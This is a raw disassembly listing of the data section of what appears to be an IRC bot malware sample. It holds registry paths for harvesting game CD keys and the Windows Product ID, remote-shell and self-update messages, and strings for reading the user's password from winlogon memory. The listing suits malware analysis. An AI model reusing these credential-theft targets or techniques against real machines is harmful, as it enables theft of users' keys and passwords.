; DATA XREF: .data:off_44D33Co align 4 aCdkey_0 db 'CDKey',0 ; DATA XREF: .data:0044D340o align 10h aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:0044D344o aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 ; DATA XREF: .data:0044D354o align 10h aRegnumber db 'RegNumber',0 ; DATA XREF: .data:0044D358o align 4 aTheGladiators db 'The Gladiators',0 ; DATA XREF: .data:0044D35Co align 4 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 ; DATA XREF: .data:0044D36Co align 4 aKey_0 db 'Key',0 ; DATA XREF: .data:0044D370o aGunmanChronicl db 'Gunman Chronicles',0 ; DATA XREF: .data:0044D374o align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 ; DATA XREF: .data:0044D384o align 4 aKey_1 db 'Key',0 ; DATA XREF: .data:0044D388o aHalfLife db 'Half-Life',0 ; DATA XREF: .data:0044D38Co align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 ; DATA XREF: .data:0044D39Co align 4 aPrvkey db 'prvkey',0 ; DATA XREF: .data:0044D3A0o align 4 aIndustryGiant2 db 'Industry Giant 2',0 ; DATA XREF: .data:0044D3A4o align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 ; DATA XREF: .data:0044D3B4o aCustomernumber db 'CustomerNumber',0 ; DATA XREF: .data:0044D3B8o align 4 aLegendsOfMight db 'Legends of Might and Magic',0 ; DATA XREF: .data:0044D3BCo align 4 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 ; DATA XREF: .data:0044D3CCo align 4 aCdkey_1 db 'CDKey',0 ; DATA XREF: .data:0044D3D0o align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 ; DATA XREF: .data:0044D3D4o aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: .data:0044D3E4o align 4 aProductid db 'ProductId',0 ; DATA XREF: .data:0044D3E8o align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 ; DATA XREF: .data:0044D3ECo align 10h aSoftwareUnreal db 'Software\Unreal Technology\Installed Apps\UT2003',0 ; DATA XREF: .data:0044D3FCo align 4 aCdkey_2 db 'CDKey',0 ; DATA XREF: .data:0044D400o align 4 aUnrealTourname db 'Unreal Tournament 2003',0 ; DATA XREF: .data:0044D404o align 4 aSoftwareUnre_0 db 'Software\Unreal Technology\Installed Apps\UT2004',0 ; DATA XREF: .data:0044D414o align 4 aCdkey_3 db 'CDKey',0 ; DATA XREF: .data:0044D418o align 10h aUnrealTourna_0 db 'Unreal Tournament 2004',0 ; DATA XREF: .data:0044D41Co align 4 aSoftwareIgi2Re db 'Software\IGI 2 Retail',0 ; DATA XREF: .data:0044D42Co align 10h aCdkey_4 db 'CDKey',0 ; DATA XREF: .data:0044D430o align 4 aIgi2CovertStri db 'IGI 2: Covert Strike',0 ; DATA XREF: .data:0044D434o align 10h aSoftwareElectr db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0 ; DATA XREF: .data:0044D444o aFreedomForce db 'Freedom Force',0 ; DATA XREF: .data:0044D44Co align 4 aSoftwareElec_0 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 ; DATA XREF: .data:0044D45Co aBattlefield194 db 'Battlefield 1942',0 ; DATA XREF: .data:0044D464o align 4 aSoftwareElec_1 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' ; DATA XREF: .data:0044D474o db 'me\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 ; DATA XREF: .data:0044D47Co aSoftwareElec_2 db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' ; DATA XREF: .data:0044D48Co db ' of WWII\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942 (Secret Weapons of WWII)',0 ; DATA XREF: .data:0044D494o align 10h aSoftwareElec_3 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 ; DATA XREF: .data:0044D4A4o align 4 aBattlefieldVie db 'Battlefield Vietnam',0 ; DATA XREF: .data:0044D4ACo aSoftwareElec_4 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0 ; DATA XREF: .data:0044D4BCo align 4 aBlackAndWhite db 'Black and White',0 ; DATA XREF: .data:0044D4C4o aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' ; DATA XREF: .data:0044D4D4o db 'ro Hour\ergc',0 align 4 aCommandAndConq db 'Command and Conquer: Generals (Zero Hour)',0 ; DATA XREF: .data:0044D4DCo align 4 aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 ; DATA XREF: .data:0044D4ECo aJamesBond007Ni db 'James Bond 007: Nightfire',0 ; DATA XREF: .data:0044D4F4o align 10h aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0 ; DATA XREF: .data:0044D504o aCommandAndCo_0 db 'Command and Conquer: Generals',0 ; DATA XREF: .data:0044D50Co align 10h aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0 ; DATA XREF: .data:0044D51Co align 4 aGlobalOperatio db 'Global Operations',0 ; DATA XREF: .data:0044D524o align 10h aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' ; DATA XREF: .data:0044D534o db 'rgc',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault',0 ; DATA XREF: .data:0044D53Co align 4 aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' ; DATA XREF: .data:0044D54Co db 'reakthrough\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 ; DATA XREF: .data:0044D554o align 4 aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' ; DATA XREF: .data:0044D564o db 'pearhead\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault: Spearhead',0 ; DATA XREF: .data:0044D56Co align 4 aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 ; DATA XREF: .data:0044D57Co align 4 aErgc db 'ergc',0 ; DATA XREF: .data:0044D580o align 10h aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 ; DATA XREF: .data:0044D584o align 10h aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' ; DATA XREF: .data:0044D594o db 0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 ; DATA XREF: .data:0044D59Co aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' ; DATA XREF: .data:0044D5ACo db 'ion\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 ; DATA XREF: .data:0044D5B4o align 10h aSoftwareEle_15 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0 ; DATA XREF: .data:0044D5C4o align 4 aFifa2002 db 'FIFA 2002',0 ; DATA XREF: .data:0044D5CCo align 10h aSoftwareEle_16 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0 ; DATA XREF: .data:0044D5DCo align 4 aFifa2003 db 'FIFA 2003',0 ; DATA XREF: .data:0044D5E4o align 10h aSoftwareEle_17 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0 ; DATA XREF: .data:0044D5F4o align 4 aNhl2002 db 'NHL 2002',0 ; DATA XREF: .data:0044D5FCo align 10h aSoftwareEle_18 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0 ; DATA XREF: .data:0044D60Co align 4 aNhl2003 db 'NHL 2003',0 ; DATA XREF: .data:0044D614o align 10h aSoftwareEle_19 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 ; DATA XREF: .data:0044D624o align 4 aNascarRacing20 db 'Nascar Racing 2002',0 ; DATA XREF: .data:0044D62Co align 10h aSoftwareEle_20 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 ; DATA XREF: .data:0044D63Co align 4 aNascarRacing_0 db 'Nascar Racing 2003',0 ; DATA XREF: .data:0044D644o align 10h aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0 ; DATA XREF: .data:0044D654o align 10h aCdkey_5 db 'CDKey',0 ; DATA XREF: .data:0044D658o align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 ; DATA XREF: .data:0044D65Co aSoftwareWestwo db 'Software\Westwood\Tiberian Sun',0 ; DATA XREF: .data:0044D66Co align 4 aSerial db 'Serial',0 ; DATA XREF: .data:0044D670o align 4 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 ; DATA XREF: .data:0044D674o align 10h aSoftwareWest_0 db 'Software\Westwood\Red Alert',0 ; DATA XREF: .data:0044D684o aSerial_0 db 'Serial',0 ; DATA XREF: .data:0044D688o align 4 aCommandAndCo_2 db 'Command and Conquer: Red Alert',0 ; DATA XREF: .data:0044D68Co align 4 aSoftwareWest_1 db 'Software\Westwood\Red Alert 2',0 ; DATA XREF: .data:0044D69Co align 4 aSerial_1 db 'Serial',0 ; DATA XREF: .data:0044D6A0o align 4 aCommandAndCo_3 db 'Command and Conquer: Red Alert 2',0 ; DATA XREF: .data:0044D6A4o align 10h aSoftwareWest_2 db 'Software\Westwood\NOX',0 ; DATA XREF: .data:0044D6B4o align 4 aSerial_2 db 'Serial',0 ; DATA XREF: .data:0044D6B8o align 10h aNox db 'NOX',0 ; DATA XREF: .data:0044D6BCo aSoftwareTechla db 'Software\Techland\Chrome',0 ; DATA XREF: .data:0044D6CCo align 10h aSerialnumber db 'SerialNumber',0 ; DATA XREF: .data:0044D6D0o align 10h aChrome db 'Chrome',0 ; DATA XREF: .data:0044D6D4o align 4 aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0 ; DATA XREF: .data:0044D6E4o align 4 aKey_2 db 'key',0 ; DATA XREF: .data:0044D6E8o aHiddenDangerou db 'Hidden & Dangerous 2',0 ; DATA XREF: .data:0044D6ECo align 4 aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 ; DATA XREF: .data:0044D6FCo align 4 aInstallpath db 'InstallPath',0 ; DATA XREF: .data:0044D700o aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 ; DATA XREF: .data:0044D704o align 4 aBaseMpSof2key db 'base\mp\sof2key',0 ; DATA XREF: .data:0044D708o aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 ; DATA XREF: .data:0044D70Co align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044D714o align 10h aLocation db 'Location',0 ; DATA XREF: .data:0044D718o align 4 aNeverwinterNig db 'Neverwinter Nights',0 ; DATA XREF: .data:0044D71Co align 10h aNwncdkey_ini db 'nwncdkey.ini',0 ; DATA XREF: .data:0044D720o align 10h aKey1 db 'Key1=',0 ; DATA XREF: .data:0044D724o align 4 aSoftwareBiow_0 db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044D72Co align 4 aLocation_0 db 'Location',0 ; DATA XREF: .data:0044D730o align 4 aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0 ; DATA XREF: .data:0044D734o align 4 aNwncdkey_ini_0 db 'nwncdkey.ini',0 ; DATA XREF: .data:0044D738o align 4 aKey2 db 'Key2=',0 ; DATA XREF: .data:0044D73Co align 4 aSoftwareBiow_1 db 'Software\BioWare\NWN\Neverwinter',0 ; DATA XREF: .data:0044D744o align 10h aLocation_1 db 'Location',0 ; DATA XREF: .data:0044D748o align 4 aNeverwinterN_1 db 'Neverwinter Nights (Hordes of the Underdark)',0 ; DATA XREF: .data:0044D74Co align 4 aNwncdkey_ini_1 db 'nwncdkey.ini',0 ; DATA XREF: .data:0044D750o align 4 aKey3 db 'Key3=',0 ; DATA XREF: .data:0044D754o align 4 ; char aSS_7[] aSS_7 db '%s\%s',0 ; DATA XREF: sub_416591+79o align 4 ; char aR_1[] aR_1: ; DATA XREF: sub_416591+8Ao unicode 0, <r>,0 ; char asc_44E610[] asc_44E610: ; DATA XREF: sub_416591+DEo unicode 0, <=>,0 ; char asc_44E614[] asc_44E614: ; DATA XREF: sub_416591+E9o unicode 0, <=>,0 dword_44E618 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_416591+FBo dd 0 ; char asc_44E630[] asc_44E630 db '-' ; DATA XREF: sub_416591+109o db 3, 34h, 2 dd 656B6463h, 3027379h, 7325202Dh, 7325203Ah, 0 ; char asc_44E648[] asc_44E648 db '-' ; DATA XREF: sub_416591+15Bo db 3, 34h, 2 dd 656B6463h, 3027379h, 7325202Dh, 7325203Ah, 0 ; char asc_44E660[] asc_44E660 db '-' ; DATA XREF: sub_4167BF+47o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 ; char asc_44E684[] asc_44E684 db '-' ; DATA XREF: sub_4167BF+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 ; char asc_44E6B4[] asc_44E6B4 db 0Ah,0 ; DATA XREF: sub_4167BF+138o align 4 ; char asc_44E6B8[] asc_44E6B8 db '-' ; DATA XREF: sub_4167BF+170o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 unk_44E6EC db 2Dh ; - ; DATA XREF: sub_416980+44o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_3 db '- failed to create socket',0 align 10h unk_44E710 db 2Dh ; - ; DATA XREF: sub_416980+82o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_44E734 db 2Dh ; - ; DATA XREF: sub_416980+FDo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpen_0 db '- failed to open socket',0 align 4 unk_44E758 db 2Dh ; - ; DATA XREF: sub_416980+127o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 ; char dword_44E778 dword_44E778 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_416980+16Ao dd 169h dword_44E790 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: sub_416980+1CBo dd 74756Fh ; char asc_44E7A8[] asc_44E7A8 db '-' ; DATA XREF: sub_416980+202o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_44E7CC dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_416980+36Bo dd 726F72h dword_44E7E4 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: sub_416980+37Co dd 726F72h ; char asc_44E7FC[] asc_44E7FC db '-' ; DATA XREF: sub_416980+2FAo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 ; char aSS_8[] aSS_8 db '%s%s',0 ; DATA XREF: sub_416D25+54o align 10h unk_44E830 db 2Dh ; - ; DATA XREF: sub_416D25+83o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 10h ; char aAB[] aAB db 'a+b',0 ; DATA XREF: sub_416D25+97o unk_44E864 db 2Dh ; - ; DATA XREF: sub_416D25+ABo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h ; char asc_44E890[] asc_44E890 db '-' ; DATA XREF: sub_416D25+CBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 ; char asc_44E8B0[] asc_44E8B0 db '-' ; DATA XREF: sub_416D25+156o db 3, 34h, 2 dd 2636364h, 73202D03h, 656B636Fh, 72652074h, 726F72h ; char asc_44E8C8[] asc_44E8C8 db '-' ; DATA XREF: sub_416D25+1D1o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 ; char asc_44E8F4[] asc_44E8F4 db '-' ; DATA XREF: sub_416F62+77o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 unk_44E91C db 2Dh ; - ; DATA XREF: sub_416F62+183o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 ; char asc_44E944[] asc_44E944 db '-' ; DATA XREF: sub_416F62+195o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 ; char asc_44E96C[] asc_44E96C db '-' ; DATA XREF: sub_416F62+1D8o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 ; char asc_44E998[] asc_44E998 db '-' ; DATA XREF: sub_416F62+262o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 10h ; char asc_44E9C0[] asc_44E9C0 db '-' ; DATA XREF: sub_416F62+2E1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 aOpen_2 db 'open',0 ; DATA XREF: sub_416F62+336o align 10h ; char asc_44EA00[] asc_44EA00 db '-' ; DATA XREF: sub_416F62+358o db 3, 34h, 2 dd 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh, 25206465h dd 73h ; char asc_44EA1C[] asc_44EA1C db '-' ; DATA XREF: sub_416F62+3C9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h unk_44EA60 db 2Dh ; - ; DATA XREF: sub_416F62+485o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 ; char asc_44EA94[] asc_44EA94 db '-' ; DATA XREF: sub_416F62+493o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 aUnknown db 'Unknown',0 ; DATA XREF: sub_41750A:loc_41754Do aInvalid db 'Invalid',0 ; DATA XREF: sub_41750A:loc_417547o aDisk db 'Disk',0 ; DATA XREF: sub_41750A:loc_417541o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_41750A:loc_41753Bo aCdrom db 'Cdrom',0 ; DATA XREF: sub_41750A:loc_417535o align 4 off_44EAE8 dd offset word_4D4152 ; DATA XREF: sub_41750A:loc_41752Fo dword_44EAEC dd 3Fh ; DATA XREF: sub_41750A+1Fo ; char aFailed[] aFailed db 'failed',0 ; DATA XREF: sub_41759B+E9o align 4 ; char aFailed_0[] aFailed_0 db 'failed',0 ; DATA XREF: sub_41759B+FCo align 10h ; char aFailed_1[] aFailed_1 db 'failed',0 ; DATA XREF: sub_41759B+10Fo align 4 ; char aSkb[] aSkb db '%sKB',0 ; DATA XREF: sub_41759B+72o align 10h ; char aSkb_0[] aSkb_0 db '%sKB',0 ; DATA XREF: sub_41759B+9Fo align 4 ; char aSkb_1[] aSkb_1 db '%sKB',0 ; DATA XREF: sub_41759B+CCo align 10h ; char aFailed_2[] aFailed_2 db 'failed',0 ; DATA XREF: sub_4176CB+3Bo align 4 ; char asc_44EB28[] asc_44EB28 db '-' ; DATA XREF: sub_4176CB+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 ; char asc_44EB64[] asc_44EB64 db '-' ; DATA XREF: sub_4176CB+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 10h ; char aA_1[] aA_1 db 'A:\',0 ; DATA XREF: sub_41779D:loc_4177E2o ; char asc_44EBA4[] asc_44EBA4 db '-' ; DATA XREF: sub_417822+5Co db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 ; char asc_44EBCC[] asc_44EBCC db '-' ; DATA XREF: sub_417822+C8o db 3, 34h, 2 dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 64252064h dd 6C696620h, 7365h ; char aS_29[] aS_29 db '%s\*',0 ; DATA XREF: sub_41793D+1Ao align 4 ; char aSS_9[] aSS_9 db '%s\%s',0 ; DATA XREF: sub_41793D+7Ao align 4 ; char aSS_10[] aSS_10 db '%s\%s',0 ; DATA XREF: sub_41793D+CEo align 4 ; char asc_44EC04[] asc_44EC04 db '-' ; DATA XREF: sub_41793D+107o db 3, 34h, 2 dd 646E6966h, 656C6966h, 202D0302h, 6E756F66h, 73252064h dd 73255Ch aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_417A8B+40o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_417A8B+55o align 10h aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417A8B+68o align 4 aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417A8B+73o align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417A8B+80o aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417A8B+8Do align 4 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417A8B+9Ao align 10h aUsername: ; DATA XREF: sub_417A8B+CEo unicode 0, <USERNAME>,0 align 4 aUserdomain: ; DATA XREF: sub_417A8B+DCo unicode 0, <USERDOMAIN>,0 align 4 ; char asc_44ECFC[] asc_44ECFC db '-' ; DATA XREF: sub_417A8B+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 unk_44ED58 db 2Dh ; - ; DATA XREF: sub_417A8B:loc_417BD0o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h ; char asc_44ED90[] asc_44ED90 db '-' ; DATA XREF: sub_417A8B:loc_417BD7o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 aSedebugprivi_0 db 'SeDebugPrivilege',0 ; DATA XREF: sub_417A8B+161o align 10h ; char asc_44EDD0[] asc_44EDD0 db '-' ; DATA XREF: sub_417A8B:loc_417C04o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_44EE04 db 2Dh ; - ; DATA XREF: sub_417A8B+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 ; char aWinlogon[] aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417C5D+AFo align 10h ; char aNwgina[] aNwgina db 'NWGINA',0 ; DATA XREF: sub_417C5D+123o align 4 ; char aMsgina[] aMsgina db 'MSGINA',0 ; DATA XREF: sub_417C5D+13Eo align 10h ; char asc_44EE50[] asc_44EE50 db '-' ; DATA XREF: sub_4180C3+70o db 3, 34h, 2 dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h dd 65735502h, 203A0272h, 2F532528h, 295325h ; char asc_44EEA0[] asc_44EEA0 db '-' ; DATA XREF: sub_41815A+C7o db 3, 34h, 2 dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h dd 65735502h, 203A0272h, 2F532528h, 295325h ; char asc_44EEF0[] asc_44EEF0 db '-' ; DATA XREF: sub_41815A+E1o db 3, 34h, 2 dd 646E6966h, 73736170h, 202D0302h, 4C6E6957h, 6E6F676Fh dd 666E4920h, 616D726Fh, 6E6F6974h, 49502820h, 64252044h dd 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah, 202C5325h dd 65735502h, 203A0272h, 2F532528h, 412F4E28h, 2929h ; char *off_44EF44 off_44EF44 dd offset dword_44F3DC ; DATA XREF: sub_418650+5Cr dd offset dword_44F3E0 dd offset dword_44F3E4 dd offset dword_44F3E8 dd offset dword_44F3EC dd offset dword_44F3F0 dd offset dword_44F3F4 dd offset dword_44F3F8 dd offset dword_44F3FC dd offset dword_44F400 dd offset dword_44F404 dd offset dword_44F408 dd offset dword_44F40C dd offset dword_44F410 dd offset dword_44F414 dd offset dword_44F418 dd offset dword_44F41C dd offset dword_44F420 dd offset dword_44F424 dd offset dword_44F428 dd offset dword_44F42C dd offset dword_44F430 dd offset dword_44F434 dd offset dword_44F438 dd offset dword_44F43C dd offset dword_44F440 dd offset dword_44F444 dd offset dword_44F448 dd offset dword_44F44C dd offset dword_44F450 dd offset dword_44F454 dd offset dword_44F458 dd offset dword_44F45C dd offset dword_44F460 dd offset dword_44F464 dd offset dword_44F468 dd offset dword_44F46C dd offset dword_44F470 dd offset dword_44F474 dd offset dword_44F478 dd offset dword_44F47C dd offset dword_44F480 dd offset dword_44F484 dd offset dword_44F488 dd offset dword_44F48C dd offset dword_44F490 dd offset dword_44F494 dd offset dword_44F498 dd offset dword_44F49C dd offset dword_44F4A0 dd offset dword_44F4A4 dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; 